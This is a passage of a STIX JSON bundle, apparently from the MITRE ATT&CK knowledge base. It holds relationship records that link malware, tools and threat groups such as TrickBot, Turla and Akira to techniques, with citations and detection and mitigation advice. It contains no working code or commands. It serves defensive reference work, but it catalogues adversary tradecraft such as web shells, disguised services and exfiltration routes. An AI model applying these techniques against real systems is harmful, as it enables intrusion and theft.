"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7d2c1704-b190-4b47-854c-5c1e122fa5ce", "created": "2022-09-29T17:57:55.081Z", "revoked": false, "external_references": [{"source_name": "DFIR Conti Bazar Nov 2021", "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.", "url": "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-29T17:57:55.081Z", "description": "During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used a malicious HTA file that contained a mix of HTML and JavaScript/VBScript code.(Citation: DFIR Conti Bazar Nov 2021)", "relationship_type": "uses", "source_ref": "campaign--78068e68-4124-4243-b6f4-76e4e5be8a06", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7d31e147-a32b-47f6-a39c-ef8b3c168ec5", "created": "2024-02-08T18:38:59.040Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Zero-Day April 2021", "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-08T18:42:09.671Z", "description": "[PULSECHECK](https://attack.mitre.org/software/S1108) is a web shell that can enable command execution on compromised servers.(Citation: Mandiant Pulse Secure Zero-Day April 2021)", "relationship_type": "uses", "source_ref": "malware--9a097d18-d15f-4635-a4f1-189df7efdc40", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7d349715-69e8-4e3c-bb98-8dc8d3051ca2", "type": "relationship", "created": "2019-03-11T16:44:33.881Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire"}], "modified": "2021-04-09T14:46:59.578Z", "description": "[Empire](https://attack.mitre.org/software/S0363) contains some modules that leverage API hooking to carry out tasks, such as netripper.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7d37a0f1-1aea-456c-ade6-6d463a14fc14", "created": "2022-09-30T15:58:27.037Z", "revoked": false, "external_references": [{"source_name": "DHS CISA AA22-055A MuddyWater February 2022", "description": "FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T15:58:27.037Z", "description": "[Mori](https://attack.mitre.org/software/S1047) can resolve networking APIs from strings that are ADD-encrypted.(Citation: DHS CISA AA22-055A MuddyWater February 2022)", "relationship_type": "uses", "source_ref": "malware--7e100ca4-e639-48d9-9a9d-8ad84aa7b448", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7d3c2752-8722-488c-9a06-7bcf308604df", "created": "2022-03-30T14:26:51.844Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T15:03:04.728Z", "description": "Monitor for newly constructed network connections that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines using Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user. Monitor for any influxes or abnormal increases in DCOM related Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic (typically over port 135).\n\nNote: Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on RPC network flows. Traffic to the RPC Endpoint Mapper will always have the destination port of 135. Assuming success, RPC traffic will continue to the endpoint. The endpoint and the client both bind to dynamically assigned ports (on Windows, this is typically greater than 49152). The traffic between the client and endpoint can be detected by looking at traffic to 135 followed by traffic where the source and destination ports are at least 49152.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--7d4149dc-1387-40cc-8f84-2f111e01ceb4", "created": "2022-03-30T14:26:51.855Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Open Login Items Apple", "url": "https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac", "description": "Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021."}, {"source_name": "Startup Items Eclectic", "url": "https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/", "description": "hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021."}, {"source_name": "objsee block blocking login items", "url": "https://objective-see.com/blog/blog_0x31.html", "description": "Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021."}, {"source_name": "sentinelone macos persist Jun 2019", "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/", "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "All login items created via shared file lists are viewable by using the System Preferences GUI or in the <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code> file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited.", "modified": "2022-04-20T18:38:50.229Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--7d584a95-3253-4093-bc03-8933374652a0", "created": "2022-04-13T13:21:35.436Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky ThreatNeedle Feb 2021", "url": "https://securelist.com/lazarus-threatneedle/100803/", "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[ThreatNeedle](https://attack.mitre.org/software/S0665) can obtain file and directory information.(Citation: Kaspersky ThreatNeedle Feb 2021)", "modified": "2022-04-13T13:21:35.436Z", "relationship_type": "uses", "source_ref": "malware--16040b1c-ed28-4850-9d8f-bb8b81c42092", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7d59a08b-6bef-4fe2-a5ac-ffff0680223e", "created": "2024-03-11T20:00:13.732Z", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 2 January 2024", "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-11T20:00:13.732Z", "description": " (Citation: Mandiant Cutting Edge Part 2 January 2024)", "relationship_type": "uses", "source_ref": "campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9", "target_ref": "tool--c4810609-7da6-48ec-8057-1b70a7814db0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7d5cc26f-780f-4897-bae0-811e6b8bfa30", "created": "2023-09-28T13:34:45.957Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "GitHub Pacu", "description": "Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.", "url": "https://github.com/RhinoSecurityLabs/pacu"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-13T16:33:44.057Z", "description": "[Pacu](https://attack.mitre.org/software/S1091) can search for sensitive data: for example, in Code Build environment variables, EC2 user data, and Cloud Formation templates.(Citation: GitHub Pacu)", "relationship_type": "uses", "source_ref": "tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9", "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7d667946-e6f1-418b-9ad3-0e3689dfaaa7", "type": "relationship", "created": "2021-03-08T13:50:20.463Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}], "modified": "2021-03-15T17:16:08.931Z", "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can copy itself into the current user\u2019s Startup folder as \u201cNarrator.exe\u201d for persistence.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)", "relationship_type": "uses", "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7d6cd19c-de8a-45ab-a54a-213bef87dee6", "created": "2024-03-05T19:55:48.874Z", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge January 2024", "description": "McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. 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Retrieved June 15, 2020."}], "modified": "2020-06-29T03:35:29.737Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) has used WebDAV to upload stolen USB files to a cloud drive.(Citation: Symantec Waterbug Jun 2019) [Turla](https://attack.mitre.org/groups/G0010) has also exfiltrated stolen files to OneDrive and 4shared.(Citation: ESET ComRAT May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7de06d58-79d0-43d5-b40e-d3e6d14c3211", "type": "relationship", "created": "2022-03-30T14:26:51.862Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.862Z", "description": "Monitor and analyze network flows associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). 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Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}, {"description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.", "url": "https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door", "source_name": "Symantec Frutas Feb 2013"}], "modified": "2019-06-24T17:20:24.390Z", "description": "[jRAT](https://attack.mitre.org/software/S0283) can browse file systems.(Citation: Kaspersky Adwind Feb 2016)(Citation: Symantec Frutas Feb 2013)", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7de52577-a469-4d2c-8059-4c2e5c742150", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts. ", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7de5afb6-3dbf-4c9a-876f-1f7a4aa9d4e0", "type": "relationship", "created": "2022-03-10T20:43:29.031Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 WhisperGate January 2022", "url": "https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family", "description": "Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. 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Retrieved May 5, 2020."}], "modified": "2020-05-06T18:10:59.275Z", "description": "[Kivars](https://attack.mitre.org/software/S0437) has the ability to conceal its activity through hiding active windows.(Citation: TrendMicro BlackTech June 2017)", "relationship_type": "uses", "source_ref": "malware--b2d134a1-7bd5-4293-94d4-8fc978cb1cd7", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7dee0645-9c39-4e04-8012-6ae10a449ae9", "type": "relationship", "created": "2020-09-11T13:27:44.380Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyberreason Anchor December 2019", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}], "modified": "2020-09-11T13:27:44.380Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) has been delivered via malicious links in phishing e-mails.(Citation: Cyberreason Anchor December 2019)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7dee3da3-7e24-4dc5-811f-61fad028560b", "type": "relationship", "created": "2020-03-27T21:16:13.291Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-27T21:16:13.291Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8", "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7df01656-109b-49ad-a9e4-c1b89ba82508", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 OopsIE! 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Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) has used `.vbs` scripts for execution.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T19:19:05.510Z", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7e024389-346c-489b-a406-1bbdec150eda", "type": "relationship", "created": "2020-03-27T12:10:23.762Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-27T12:18:44.447Z", "description": "Remove users from the local administrator group on systems.\n\nBy requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file. 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(2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. 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Emotet has also extracted embedded executables from files using hard-coded buffer offsets.(Citation: Binary Defense Emotes Wi-Fi Spreader)", "relationship_type": "uses", "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7e555910-0e1b-403d-a369-e7a2e8e61670", "type": "relationship", "created": "2020-05-13T13:20:59.322Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Grim Spider May 2019", "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."}, {"source_name": "FireEye KEGTAP SINGLEMALT October 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."}], "modified": "2020-11-10T17:28:19.629Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used scheduled tasks to install [TrickBot](https://attack.mitre.org/software/S0266), using task names to appear legitimate such as WinDotNet, GoogleTask, or Sysnetsf.(Citation: CrowdStrike Grim Spider May 2019) It has also used common document file names for other malware binaries.(Citation: FireEye KEGTAP SINGLEMALT October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7e559e10-483a-42ca-8ddf-d8ca04ed8bd2", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT BADCALL", "description": "US-CERT. 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(2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T20:24:37.598Z", "description": "[Mis-Type](https://attack.mitre.org/software/S0084) may create a temporary user on the system named `Lost_{Unique Identifier}`.(Citation: Cylance Dust Storm)", "relationship_type": "uses", "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7e57b3e4-207c-4ef0-89bb-dc062fcad62e", "created": "2024-02-21T19:31:04.981Z", "revoked": false, "external_references": [{"source_name": "BushidoToken Akira 2023", "description": "Will Thomas. (2023, September 15). Tracking Adversaries: Akira, another descendent of Conti. Retrieved February 21, 2024.", "url": "https://blog.bushidotoken.net/2023/09/tracking-adversaries-akira-another.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-21T19:31:04.981Z", "description": "[Akira](https://attack.mitre.org/groups/G1024) engages in double-extortion ransomware, exfiltrating files then encrypting them, in order to prompt victims to pay a ransom.(Citation: BushidoToken Akira 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d", "target_ref": "attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--7e588158-1962-42d4-b836-0a2c764fdc5e", "created": "2021-12-02T15:20:09.415Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Talos TinyTurla September 2021", "url": "https://blog.talosintelligence.com/2021/09/tinyturla.html", "description": "Cisco Talos. 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Retrieved December 2, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[TinyTurla](https://attack.mitre.org/software/S0668) has mimicked an existing Windows service by being installed as <code>Windows Time Service</code>.(Citation: Talos TinyTurla September 2021)", "modified": "2022-04-16T21:17:10.117Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7e5e2fd3-cab4-4853-81ad-9bf50e1390bd", "type": "relationship", "created": "2020-01-30T16:36:51.559Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-08-31T19:55:02.860Z", "description": "Do not allow a domain user to be in the local administrator group on multiple systems.", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7e62327c-aa58-4ce9-8519-c4bedbd57b80", "created": "2021-01-08T20:34:27.150Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye NETWIRE March 2019", "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.", "url": "https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-13T18:16:43.582Z", "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can capture session logon details from a compromised host.(Citation: FireEye NETWIRE March 2019)", "relationship_type": "uses", "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7e636340-8b64-4913-be75-a8e62f68fc91", "type": "relationship", "created": "2020-03-18T13:34:21.144Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT35 2018", "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"}], "modified": "2020-03-18T13:34:21.145Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) granted compromised email accounts read access to the email boxes of additional targeted accounts. The group then was able to authenticate to the intended victim's OWA (Outlook Web Access) portal and read hundreds of email communications for information on Middle East organizations.(Citation: FireEye APT35 2018) ", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--7e6700e2-4a06-4583-933b-53d3a2761af7", "created": "2022-07-29T19:50:26.963Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Trustwave Pillowmint June 2020", "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/", "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Pillowmint](https://attack.mitre.org/software/S0517) can uninstall the malicious service from an infected machine.(Citation: Trustwave Pillowmint June 2020)", "modified": "2022-07-29T19:50:26.963Z", "relationship_type": "uses", "source_ref": 